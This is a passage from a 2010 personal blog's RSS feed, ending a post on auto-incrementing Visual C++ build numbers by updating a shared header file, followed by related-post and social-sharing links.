solutions.</p><p>I used a modified version of the solution from MS (mine didn&#8217;t update the RC; instead it updated a H file that was included across the project). If there is a neat/effective solution for this, let me know.</p><div id="crp_related"><h3>Related Posts:</h3><ul><li><a href="http://kannan.jumbledthoughts.com/index.php/dumb-error-messages/" rel="bookmark" class="crp_title">Dumb Error Messages</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/ultimate-chess-game/" rel="bookmark" class="crp_title">The ultimate chess game</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/how-to-get-logged-in-username-in-hudson/" rel="bookmark" class="crp_title">How to get logged-in username in Hudson?</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/thamizmanam-plugin-updated/" rel="bookmark" class="crp_title">Thamizmanam plugin updated</a></li><li><a href="http://kannan.jumbledthoughts.com/index.php/some-links/" rel="bookmark" class="crp_title">Some links &#8230;</a></li></ul></div><div class="shr-bookmarks shr-bookmarks-expand shr-bookmarks-center shr-bookmarks-bg-enjoy"><ul class="socials"><li class="shr-twitter"> <a href="http://twitter.com/home?status=Autoincrementing+the+Build+Numbers+in+VC%2B%2B+-+<h3>This domain is forbidden!</h3>&amp;source=shareaholic" rel="nofollow" class="external" title="Tweet This!">Tweet This!</a></li><li class="shr-comfeed"> <a href="http://kannan.jumbledthoughts.com/index.php/autoincrementing-build-numbers-in-vc/feed" rel="nofollow" class="external" title="Subscribe to the comments for this post?">Subscribe to the comments for this post?</a></li><li class="shr-delicious"> <a href="http://delicious.com/post?url=http://kannan.jumbledthoughts.com/index.php/autoincrementing-build-numbers-in-vc/&amp;title=Autoincrementing+the+Build+Numbers+in+VC%2B%2B" rel="nofollow" class="external" title="Share this on del.icio.us">Share this on del.icio.us</a></li><li class="shr-digg"> <a href="http://digg.com/submit?phase=2&amp;url=http://kannan.jumbledthoughts.com/index.php/autoincrementing-build-numbers-in-vc/&amp;title=Autoincrementing+the+Build+Numbers+in+VC%2B%2B" rel="nofollow" class="external" title="Digg this!">Digg this!</a></li><li class="shr-diigo"> <a href="http://www.diigo.com/post?url=http://kannan.jumbledthoughts.com/index.php/autoincrementing-build-numbers-in-vc/&amp;title=Autoincrementing+the+Build+Numbers+in+VC%2B%2B&amp;desc=%0D%0AThe%20option%20to%20automatically%20increment%20the%20build%20numbers%20%28for%20successful%20builds%29%20is%20one%20thing%20VC%2B%2B%20misses.%20AFAIK%2C%20VB%20%26amp%3B%20Borland%20C%2B%2B%2FDelphi%20users%20have%20long%20had%20this%20ability.%0D%0A%0D%0Ahttp%3A%2F%2Fwww.codeguru.com%2FCpp%2FV-S%2Fdevstudio_macros%2Fversioncontrol%2Farticle.php%2Fc3129%0D%0A%0D%0AThis%20solution%20makes%20use%20of%20Applicat" rel="nofollow" class="external" title="Post this on Diigo">Post this on Diigo</a></li><li class="shr-googlebuzz"> <a href="http://www.google.com/buzz/post?url=http://kannan.jumbledthoughts.com/index.php/autoincrementing-build-numbers-in-vc/&amp;imageurl=" rel="nofollow" class="external" title="Post on Google Buzz">Post on Google Buzz</a></li><li class="shr-misterwong"> <a href="http://www.mister-wong.com/addurl/?bm_url=http://kannan.jumbledthoughts.com/index.php/autoincrementing-build-numbers-in-vc/&amp;bm_description=Autoincrementing+the+Build+Numbers+in+VC%2B%2B&amp;plugin=sexybookmarks" rel="nofollow" class="external" title="Add this to Mister Wong">Add this to Mister Wong</a></li><li class="shr-mixx"> <a href="http://www.mixx.com/submit?page_url=http://kannan.jumbledthoughts.com/index.php/autoincrementing-build-numbers-in-vc/&amp;title=Autoincrementing+the+Build+Numbers+in+VC%2B%2B" rel="nofollow" class="external" title="Share this on Mixx">Share this on Mixx</a></li><li class="shr-reddit"> <a href="http://reddit.com/submit?url=http://kannan.jumbledthoughts.com/index.php/autoincrementing-build-numbers-in-vc/&amp;title=Autoincrementing+the+Build+Numbers+in+VC%2B%2B" rel="nofollow" class="external" title="Share this on Reddit">Share this on Reddit</a></li><li class="shr-stumbleupon"> <a href="http://www.stumbleupon.com/submit?url=http://kannan.jumbledthoughts.com/index.php/autoincrementing-build-numbers-in-vc/&amp;title=Autoincrementing+the+Build+Numbers+in+VC%2B%2B" rel="nofollow" class="external" title="Stumble upon something good? Share it on StumbleUpon">Stumble upon something good? Share it on StumbleUpon</a></li><li class="shr-technorati"> <a href="http://technorati.com/faves?add=http://kannan.jumbledthoughts.com/index.php/autoincrementing-build-numbers-in-vc/" rel="nofollow" class="external" title="Share this on Technorati">Share this on Technorati</a></li></ul><div style="clear:both;"></div></div><div class="su-linkbox" id="post-8-linkbox"><div class="su-linkbox-label">Link to this post!</div><div class="su-linkbox-field"><input type="text" value="&lt;a href=&quot;http://kannan.jumbledthoughts.com/index.php/autoincrementing-build-numbers-in-vc/&quot;&gt;Autoincrementing the Build Numbers in VC++&lt;/a&gt;" onclick="javascript:this.select()" readonly="readonly" style="width: 100%;" /></div></div>]]></content:encoded> <wfw:commentRss>http://kannan.jumbledthoughts.com/index.php/autoincrementing-build-numbers-in-vc/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> </channel> </rss>
<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk
Page Caching using disk (enhanced) (request URI is rejected)
Database Caching 34/147 queries in 1.461 seconds using disk

Served from: kannan.jumbledthoughts.com @ 2010-07-29 23:28:30 -->